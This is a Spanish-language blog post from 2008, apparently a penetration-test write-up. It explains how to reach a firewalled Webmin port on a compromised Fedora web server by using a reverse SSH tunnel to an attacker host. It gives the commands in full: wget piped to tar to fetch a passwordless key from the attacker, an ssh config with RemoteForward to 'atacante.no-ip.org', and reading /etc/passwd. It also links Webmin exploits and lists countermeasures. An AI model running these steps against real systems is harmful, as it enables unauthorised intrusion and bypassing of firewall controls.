{"id":59,"date":"2008-06-06T03:00:49","date_gmt":"2008-06-06T07:00:49","guid":{"rendered":"http:\/\/hackarandas.com\/blog\/2008\/06\/06\/ssh-jutsu-i-acercamiento-de-puerto-2\/"},"modified":"2009-04-13T01:22:35","modified_gmt":"2009-04-13T05:22:35","slug":"ssh-jutsu-i-acercamiento-de-puerto-2","status":"publish","type":"post","link":"https:\/\/hackarandas.com\/blog\/2008\/06\/06\/ssh-jutsu-i-acercamiento-de-puerto-2\/","title":{"rendered":"SSH Jutsu I &#8211; Acercamiento de Puerto"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/www.hackarandas.com\/blog\/wp-content\/uploads\/2008\/06\/jutsu00.jpg\" style=\"margin: 10px 10px 0pt 0pt; float: left; width: 120px; height: 134px;\" title=\"Sello de Dragon\" alt=\"\" \/> Apenas unos dias vi batallando a un compa\u00c3\u00b1ero que realizaba un Pentest y hab\u00c3\u00ada conseguido comprometer un servidor web. Resulta que alguien tuvo a bien instalar un sistema Joomla! y lo dej\u00c3\u00b3 abandonado, as\u00c3\u00ad que no fu\u00c3\u00a9 dif\u00c3\u00adcil utilizar un viejo m\u00c3\u00b3dulo para subir el <a href=\"http:\/\/phpshell.sourceforge.net\/\">PHP Shell<\/a> y empezar a echar comandos de consola siendo el usuario que ejecuta a apache (nobody en este caso).<\/p>\n<p>Despu\u00c3\u00a9s de varias horas de verlo hacerse de la mala ceja se me ocurrieron varios puntos donde se pod\u00c3\u00adan hacer ataques:<\/p>\n<p><span style=\"font-weight: bold;\">Escenario<\/p>\n<p><\/span><\/p>\n<ol>\n<li>Servidor Web con Linux Fedora Core 3, obviamente con instalaci\u00c3\u00b3n por defecto<\/li>\n<li>Servidor &#8220;protegido&#8221; por un FW Checkpoint.<\/li>\n<ol>\n<li>Que nos bloquea la IP cada vez que hacemos un escaneo de puertos.<\/li>\n<li>No tiene ACLs de salida del servidor, <span style=\"font-style: italic;\">are you thinking what I am thinking?<br \/>\n<\/span><\/li>\n<\/ol>\n<li>Se ha logrado comprometer el servidor<\/li>\n<ol>\n<li>Se tiene una shell creada por el php shell y que a su vez se ha conseguido otra con el <a href=\"http:\/\/netcat.sourceforge.net\/\">Netcat<\/a> conect\u00c3\u00a1ndonos a nuestra m\u00c3\u00a1quina desde la m\u00c3\u00a1quina v\u00c3\u00adcitma. Total el FW no tiene ACLs que bloqueen la salida de tr\u00c3\u00a1fico del servidor.\n<\/li>\n<li>Tiene un IP Privada del otro lado, as\u00c3\u00ad que podemos suponer que est\u00c3\u00a1n haciendo el port Forwarding al puerto 443.<\/li>\n<li>Tiene el <a href=\"http:\/\/www.webmin.com\/\">Webmin<\/a> habilitado &gt;:) pero bloqueado por el FW :'(\n<\/li>\n<\/ol>\n<\/ol>\n<p><span style=\"font-weight: bold;\">Planteamiento<\/p>\n<p><\/span>\u00c2\u00bfQu\u00c3\u00a9 sigue? Obviamente escalar privilegios, encontrar mas servidores dentro de la <a href=\"http:\/\/es.wikipedia.org\/wiki\/DMZ\">DMZ<\/a> y\/o conseguir contrase\u00c3\u00b1as. Ya se sacaron los usuarios con el comando <span style=\"font-style: italic;\">cat \/etc\/passwd<\/span> pero los <a href=\"http:\/\/es.wikipedia.org\/wiki\/Hash\">hashes<\/a> de las contrase\u00c3\u00b1as&nbsp; no ya que no disponemos de privilegios de root<span style=\"font-weight: bold;\"> <\/span>y hacer el viejo truco con <a href=\"http:\/\/www.thc.org\/thc-hydra\/\">Hydra<\/a> de probar el mismo usuario y contrase\u00c3\u00b1as contra un servicio es in\u00c3\u00batil por el FW.<span style=\"font-weight: bold;\"> <\/p>\n<p><\/span>\u00c2\u00bfC\u00c3\u00b3mo podemos sopesar este problema? Como sabemos, el Webmin es una herramienta poderos\u00c3\u00adsima para la admnistraci\u00c3\u00b3n del servidor pero cuenta con un sin f\u00c3\u00adn de vulnerabilidades que, aunque son parchadas con cierta rapidez, si la instalaci\u00c3\u00b3n es por default o est\u00c3\u00a1 sin administrar (abandonada) se puede comprometer la integridad del servidor con cierta facilidad.<span style=\"font-weight: bold;\"><\/p>\n<p>Jutsu <\/p>\n<p><\/span>&nbsp; Creo que habemos pocos que conocemos los oscuros secretos y milenarias t\u00c3\u00a9cnicas del <a href=\"http:\/\/es.wikipedia.org\/wiki\/Secure_Shell\">SSH<\/a> y los ocupamos con cierta regularidad. Aqui explico mi prueba de concepto para alcanzar el puerto de Webmin y poder comprometerlo:<\/p>\n<p>Necesitamos tener una cuenta en una m\u00c3\u00a1quina y pueda acceder al servicio de SSH. Para esto podemos usar el Backtrack creamos una cuenta sin mayores privilegios. Dentro de esta cuenta creamos una <a href=\"http:\/\/es.wikipedia.org\/wiki\/Criptograf%C3%ADa_asim%C3%A9trica\">llave p\u00c3\u00bablica<\/a> de ssh para poder automatizar la autenticaci\u00c3\u00b3n y no perder la shell dentro del servidor:<br \/>\n<code><br \/>\n# Creamos el directorio donde guardaremos la configuracion<br \/>\nmkdir ~\/.ssh<br \/>\n# Creamos la llave sin contrase\u00c3\u00b1a para que sea mas c\u00c3\u00b3moda de usar<br \/>\nssh-keygen -t dsa<br \/>\n# Nos crea dos archivos que son la llave p\u00c3\u00bablica y la privada<br \/>\nid_dsa  id_dsa.pub<br \/>\n# Renombramos la p\u00c3\u00bablica para poder usarla como autenticaci\u00c3\u00b3n<br \/>\nmv  id_dsa.pub authorized_keys<br \/>\n<\/code><br \/>\nAhora creamos el siguiente archivo config:<br \/>\n<code><br \/>\n Host atacante<br \/>\n\t\t# La IP o nombre de dominio que estamos usando<br \/>\n\t\tHostname         atacante.no-ip.org<br \/>\n\t\tRemoteForward\t10000 127.0.0.1:10000<br \/>\n\t\t# Puerto que tengamos abierto y con el servicio de SSH corriendo<br \/>\n\t\tPort\t\t\t1025<br \/>\n\t\t# El usuario que hallamos creado<br \/>\n\t\tUser            tunel<br \/>\n\t\tBatchMode       yes<br \/>\n\t\tCompression     yes<br \/>\n\t\t# La llave privada que no debe contener contrase\u00c3\u00b1a y nos dar\u00c3\u00a1 acceso al usuario tunel<br \/>\n\t\tIdentityFile\t\/tmp\/.ssh\/id_dsa<br \/>\n\t\tCompressionLevel \t\t9<br \/>\n\t\t# Con esto nos saltamos el que nos pregunte que si a\u00c3\u00b1ade la llave rsa al archivo.<br \/>\n\t\tStrictHostKeyChecking\tno<br \/>\n\t\tPubkeyAuthentication\tyes<br \/>\n\t\tUserKnownHostsFile\t\t\/tmp\/.ssh\/known_hosts<br \/>\n<\/code><br \/>\nAhora subimos el archivo al servidor como tarball. Lo podemos hacer con la herramienta <a href=\"http:\/\/www.home.unix-ag.org\/simon\/woof.html\">woof<\/a>.<br \/>\n<code><br \/>\n# En el lado del atacante<br \/>\nwoof -p [PuertoAlcanzable] -i [IP] ~\/.ssh<\/p>\n<p># En el lado de la victima<br \/>\ncd \/tmp<br \/>\nwget [URL Cambiando la IP por la IP p\u00c3\u00bablica] -O - | tar zxvf -<br \/>\ncd .ssh<br \/>\nchmod 0600 *<br \/>\nssh-agent bash<br \/>\nssh-add<br \/>\nssh -fNF config atacante<br \/>\n<\/code><br \/>\nRecuerda que si estas detr\u00c3\u00a1s de un dispositivo que haga <a href=\"http:\/\/es.wikipedia.org\/wiki\/NAT\">NAT<\/a> debes hacer reenv\u00c3\u00ado de puerto de forma que podamos alcanzar la m\u00c3\u00a1quina del atacante desde la m\u00c3\u00a1quina v\u00c3\u00adctima y que el URL que le ingresaremos en el <a href=\"http:\/\/es.wikipedia.org\/wiki\/GNU_Wget\">wget<\/a> no es la IP privada sino la IP p\u00c3\u00bablica que tiene nuestro router. Los que tenemos <a href=\"http:\/\/www.youtube.com\/watch?v=kIAyegmzrxE\">cableacces<\/a> estamos jodidos pero siempre podemos usar un servidor prestado que tenga una IP P\u00c3\u00bablica XD.<\/p>\n<p>Y si todo sale bien nos devolver\u00c3\u00a1 la l\u00c3\u00adnea de comando y veremos un proceso parecido al este:<br \/>\n<code><br \/>\nps ax | grep -i ssh<br \/>\n28659 ?        Ss     0:30 ssh -fNF config atacante<br \/>\n<\/code><br \/>\nBien, ahora desde la m\u00c3\u00a1quina del atacante deberemos ver unos puertos parecidos a esto:<br \/>\n<code><br \/>\nsudo netstat -ptuna | grep -i listen<br \/>\ntcp        0      0 127.0.0.1:10000          0.0.0.0:*               LISTEN      -<br \/>\n<\/code><br \/>\nPerfecto! Si hasta ahora todo ha salido bien podremos entrar a la consola de administraci\u00c3\u00b3n del Webmin desde el navegador usando la siguiente URL: <span style=\"font-style: italic;\">https:\/\/localhost:10000. <\/p>\n<p><\/span>Nos vamos a la siguiente p\u00c3\u00a1gina y descargamos el <a href=\"http:\/\/es.wikipedia.org\/wiki\/Exploit\">exploit<\/a>:<\/p>\n<p>http:\/\/securitydot.net\/xpl\/exploits\/vulnerabilities\/articles\/1164\/exploit.html en <a href=\"http:\/\/es.wikipedia.org\/wiki\/Perl\">Perl<\/a><br \/>\nhttp:\/\/www.milw0rm.com\/exploits\/1997 en <a href=\"http:\/\/es.wikipedia.org\/wiki\/.php\">PHP<\/a><\/p>\n<p><span style=\"font-weight: bold;\">Contramedidas<\/p>\n<p><\/span><\/p>\n<ol>\n<li>No instalas ningun aplicativo que no piensas dar mantenimiento en un servidor de producci\u00c3\u00b3n.\n<\/li>\n<li>Aparte del firewall corporativo es saludable instalar un firewall de host que proteja la m\u00c3\u00a1quina as\u00c3\u00ad la administraci\u00c3\u00b3n del FW queda en tus manos y no dependes de un tercero que no sabes que pol\u00c3\u00adticas maneja. <a href=\"http:\/\/rfxnetworks.com\/apf.php\">APF<\/a> es mi recomendaci\u00c3\u00b3n.\n<\/li>\n<li>En los ACLs del firewall es buena idea bloquear cual tr\u00c3\u00a1fico que salga del servidor que no sea de tipo ESTABLISHED o que vaya \u00c3\u00banica y exclusivamente a los servidores de actualizaciones, por este motivo es bueno tener un sistema de actualizaci\u00c3\u00b3n local como el <a href=\"http:\/\/http:\/\/technet.microsoft.com\/en-us\/wsus\/default.aspx\">WSUS<\/a> para <a href=\"http:\/\/es.wiktionary.org\/wiki\/Haselfroch\">Haselfroch<\/a>.<\/li>\n<li>Siempre, y repito, siempre has un hardeneo de tus servidores de producci\u00c3\u00b3n, quita servicios que no uses y aquellos que necesitas pero son inseguros (Webmin, VNC) puedes hacer que escuchen localmente y accederlos por <a href=\"http:\/\/members.shaw.ca\/nicholas.fong\/vnc\/\">t\u00c3\u00baneles de SSH<\/a>.<\/li>\n<li>Mant\u00c3\u00a9n un procedimiento para verificar la integridad de tus servidores como <a href=\"http:\/\/www.tripwire.org\/\">Tripwire<\/a>.<\/li>\n<li>Mant\u00c3\u00a9n una pol\u00c3\u00adtica de contrase\u00c3\u00b1as complejas en tus usuarios, as\u00c3\u00ad, a\u00c3\u00banque consigan los hashes de la contrase\u00c3\u00b1as el romperlas puede llegar a ser virtualmente imposible.<\/li>\n<li>Mant\u00c3\u00a9n actualizado tu sistema y las aplicaciones que tenga dentro, realiza auditorias constantes sobre tus aplicaciones Web para ver posibles agujeros de seguridad que puedan comprometer tu servidor. Para esto existen aplicaciones como <a href=\"http:\/\/www.gfi.com\/languard\/\">GFI Languard<\/a> y <a href=\"http:\/\/www.nessus.org\/\">Nessus<\/a>.\n<\/li>\n<\/ol>\n<p>A\u00c3\u00ban siguiendo estos pasos no puedes ganrantizar que estar\u00c3\u00a1 seguro tu servidor, siempre habr\u00c3\u00a1 una nueva vulnerabilidad o alguien que consiga brincarse la barda que has puesto. Hacer seguridad y cumplir al menos con las buenas pr\u00c3\u00a1cticas de administraci\u00c3\u00b3n de servidores permiten mitigar los ataques que puedas recibir y que puedan afectar al negocio.<\/p>\n<address>Adri\u00c3\u00a1n Puente Z.<\/address>\n<address><\/address>\n<div class=\"flockcredit\" style=\"text-align: right; color: #CCC; font-size: x-small;\">Blogged with the <a href=\"http:\/\/www.flock.com\/blogged-with-flock\" style=\"color: #999; font-weight: bold;\" target=\"_new\" title=\"Flock Browser\">Flock Browser<\/a><\/div>\n<p><!-- technorati tags begin --><\/p>\n<p style=\"font-size:10px;text-align:right;\">Tags: <a href=\"http:\/\/technorati.com\/tag\/Seguridad\" rel=\"tag\">Seguridad<\/a>, <a href=\"http:\/\/technorati.com\/tag\/firewall\" rel=\"tag\">firewall<\/a>, <a href=\"http:\/\/technorati.com\/tag\/%20webmin\" rel=\"tag\"> webmin<\/a>, <a href=\"http:\/\/technorati.com\/tag\/%20Secure%20Shell\" rel=\"tag\"> Secure Shell<\/a>, <a href=\"http:\/\/technorati.com\/tag\/%20SSH\" rel=\"tag\"> SSH<\/a>, <a href=\"http:\/\/technorati.com\/tag\/%20Apache\" rel=\"tag\"> Apache<\/a><\/p>\n<p><!-- technorati tags end --><\/p>\n\n<div style=\"font-size: 0px; height: 0px; line-height: 0px; margin: 0; padding: 0; clear: both;\"><\/div>","protected":false},"excerpt":{"rendered":"<p>Apenas unos dias vi batallando a un compa\u00c3\u00b1ero que realizaba un Pentest y hab\u00c3\u00ada conseguido comprometer un servidor web. Resulta que alguien tuvo a bien instalar un sistema Joomla! y lo dej\u00c3\u00b3 abandonado, as\u00c3\u00ad que no fu\u00c3\u00a9 dif\u00c3\u00adcil utilizar un &hellip; <a href=\"https:\/\/hackarandas.com\/blog\/2008\/06\/06\/ssh-jutsu-i-acercamiento-de-puerto-2\/\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,4],"tags":[],"class_list":["post-59","post","type-post","status-publish","format-standard","hentry","category-articles","category-security"],"_links":{"self":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/posts\/59","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/comments?post=59"}],"version-history":[{"count":0,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/posts\/59\/revisions"}],"wp:attachment":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/media?parent=59"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/categories?post=59"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/tags?post=59"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}